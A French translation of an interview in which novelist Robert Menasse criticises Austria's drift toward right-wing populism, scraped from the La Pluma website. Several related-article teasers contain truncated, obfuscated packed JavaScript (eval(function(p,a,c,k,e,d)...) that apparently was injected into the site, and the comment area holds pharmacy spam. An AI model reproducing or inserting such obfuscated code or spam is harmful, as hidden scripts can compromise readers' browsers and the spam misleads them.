REDHER - La pluma


“C’est toute l'Autriche qui est tombée dans le piège populiste”. Le cri d’alarme de l’écrivain Robert Menasse

Envoyer Imprimer PDF

aut_5715Bis"Les modérés ont alimenté le terrain politique du nationalisme"

VIENNE. Robert Menasse vient de recevoir le prix le plus prestigieux pour un écrivain de langue allemande, le Deutscher Buchpresi, pour son magnifique  roman sur l'Europe, Die Hauptstadt, La capitale (Suhrkamp).

Dans cette interview avec Repubblica, le plus grand écrivain autrichien - qui n'a jamais été tendre pour son pays, à l’égal de Thomas Bernhard ou d’Elfriede Jelinek – recourt à un géant comme Karl Kraus, pour expliquer la dérive en cours en Autriche, où on vote ce dimanche : "Les Autrichiens sont le seul peuple à devenir plus idiot après une tragédie."

Après 17 ans, la droite radicale pourrait revenir au gouvernement. Mais même le démocrate-chrétien de 31 ans Sebastian Kurz, le favori, s’est beaucoup déplacé vers la droite.

Nous avons déjà fait quelques expériences avec ces » jeunes génies ». Et nous savons comment ça va finir, de Jörg Haider  àKarl-Heinz Grasser, l'ancien ministre des Finances qui, des bancs du gouvernement a atterri  sur un banc tribunal. Nous sommes de nouveau dans ce genre de choses. Kurz -. le véritable héritier de Haider et Grasser - a toujours été vague sur ses intentions et continue d’agiter les foules avec des mots d'ordre populistes, anti-européennes même. Il est désormais le pantin de Strache. On ne peut aps distinguer les deux : c’est comme tenter d’expliquer la différence entre les deux sont.. indiscernable: c'est comme essayer d'expliquer la différence entre une quenelle et un knödel.

En 2000, le premier gouvernement autrichien de droite/extrême-droite a fait scandale. Maintenant non. La droite xénophobe, antisémite et eurosceptique est maintenant au pouvoir dans divers pays : nul ne songerait plus à sanctionner l'Autriche.

C’est vrai, et il est aussi vrai que le nationalisme est alimenté par le sentiment général que l'Europe ne fonctionne pas. Mais demandons-nous pourquoi:  Les chefs d'État et de gouvernement s’envolent pour à Bruxelles bloquent les décisions européennes, ils rentrent chez eux et dirsisent : «   L'Europe ne fonctionne pas. » Les modérés ont alimenté le terrain politique idéal pour la croissance des nationalismes."

Sebastian Kurz, vu par  xiding

 Quel est l'antidote?

Aucun pays européen ne peut survivre seul dans un monde où l'économie est mondialisée, le terrorisme est planétaire et le changement climatique nous menace tous. Mais les politiciens ne disent pas : « Je vais me battre pour obtenir ces choses en Europe » C’est comme ça que des nationalistes sont élus, qui sont évidemment incapables de donner des réponses efficaces. Et quand ils échouent, les gens votent encore plus à droite.

Et les sociaux-démocrates? En Europe, ils sont précipités dans une crise historique, ici en Autriche, ils risquent d’arriver en troisième position.

Eux aussi sont tombés dans le piège nationaliste. Ils ont été les premiers à fermer les frontières, à promettre aux Autrichiens « Nous protégerons vos postes de travail. » Mais qu'est-ce que ça veut dire? Les électeurs, en cas de doute, choisissent l'original, à savoir la droite . En France, nous assistons à une catastrophe, avec Mélenchon qui est devenu un nationaliste radical. Ses sorties les plus récentes pourraient être venues de la droite populiste allemande, l’AfD.

Comment expliquer à un public non autrichien qu'en Autriche, la droite  populiste pourrait former un gouvernement avec les sociaux-démocrates*?

Ce n'est pas une coalition entre les idées social-démocrates et l'idéologie de la droite radicale. C'est une coalition de politiciens qui ont perdu toute pudeur.

Le nouveau gouvernement autrichien pourrait-il être plus proche de la Pologne et de la Hongrie pour devenir le cinquième maillon du quartet «noniste» de Visegrad**?

Bien sûr, et grâce à la liberté de mouvement garantie par l'UE, je pourrai déménager ailleurs, C'est ce qu’il y a de beau avec l’Europe, non ?

NdT

*Ce ne serait pas la première fois: de 1983 à 1986, le social-démocrate Fred Sinowatz dirigea un gouvernment de coalition SPÖ-FPÖ

** Le groupe de Visegrád, également connu sous le noms Visegrád 4 ou V4, est une alliance de quatre pays d'Europe centrale: Pologne, République tchèque, Slovaquie et Hongrie, constituée en 1991

Tonia Mastrobuoni

Original: L'allarme di Menasse: "Tutta l'Austria è caduta nella trappola populista"

Fausto Giudice Фаусто Джудиче فاوستو جيوديشي

Traductions disponibles : Deutsch 

Source : Tlaxcala, le 16 octobre 2017


 

 
Plus d'articles :

» Ponts effondrés, ponts bombardés

L'Art de la guerreLe pont Morandi, important viaduc autoroutier de Gênes géré par une société privée, s’est écroulé le 14 août, en provoquant plus de 40 victimes. La cause probable est un effondrement structurel, dont les signes ont...

» Madrid, novembre 2018 : 43ème Conférence européenne de solidarité et de soutien au peuple sahraoui (EUCOCO) Présentation

La 43ème Conférence européenne de solidarité et de soutien au peuple sahraoui (EUCOCO) se déroulera les 16 et 17 novembre 2018 à Madrid avec la participation de personnes des cinq continents.

» Tués par la tomate : Ecce homo !

Seize morts en trois jours dans la chaleur étouffante du mois d’août, poussiéreux et trempés de sueur, épuisés par la récolte de l’or rouge. Entassés dans des camionnettes de fortune, à la merci des « caporaux »* au service...

» Le rideau de fer en Europe ne fera qu’aggraver la crise des réfugiés

Un eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Thanatopolitique et négation du racisme

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Syrie : un menteur nommé Macron

C’est eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Loi sur les “fake news”: du monopole de la vérité au règne du mensonge

Cette eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Notre-Dame-des-Landes : « Nous, cinéastes, appelons à filmer et à défendre ce territoire qui bat et se bat »

Dans eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» La tragédie des cheminots : la signification profonde des grèves ferroviaires françaises

La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Catalogne: le parquet allemand favorable à l'extradition de Puigdemont vers l'Espagne

Le eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

Ajouter un Commentaire


Code de sécurité
Rafraîchir

Gracias, pero con Cialis soft intentaron sin embargo, lo que los medicamentos como el Viagra comprar-cialis.net

Les dossiers brûlants d'actualité

 

Éditorial La Pluma n ° 1: À tou.tes

Nous eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};...

 

Venezuela: la parole au Pouvoir constituant originel, le peuple !

« Dans eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){retur...
Uno Levitra Professional es de los MEDICAMENTOS mas Comunes comprar levitra en-linea

Compteur des visites

mod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_counter
mod_vvisit_counterAujourd'hui11943
mod_vvisit_counterHier10832
mod_vvisit_counterCette semaine71112
mod_vvisit_countersemaine précedente64507
mod_vvisit_counterCe-mois-ci201531
mod_vvisit_countermois précedent332053

We have: 262 guests online
Ton IP: 54.196.13.210
 , 
Aujourd'hui: 21 Sep 2018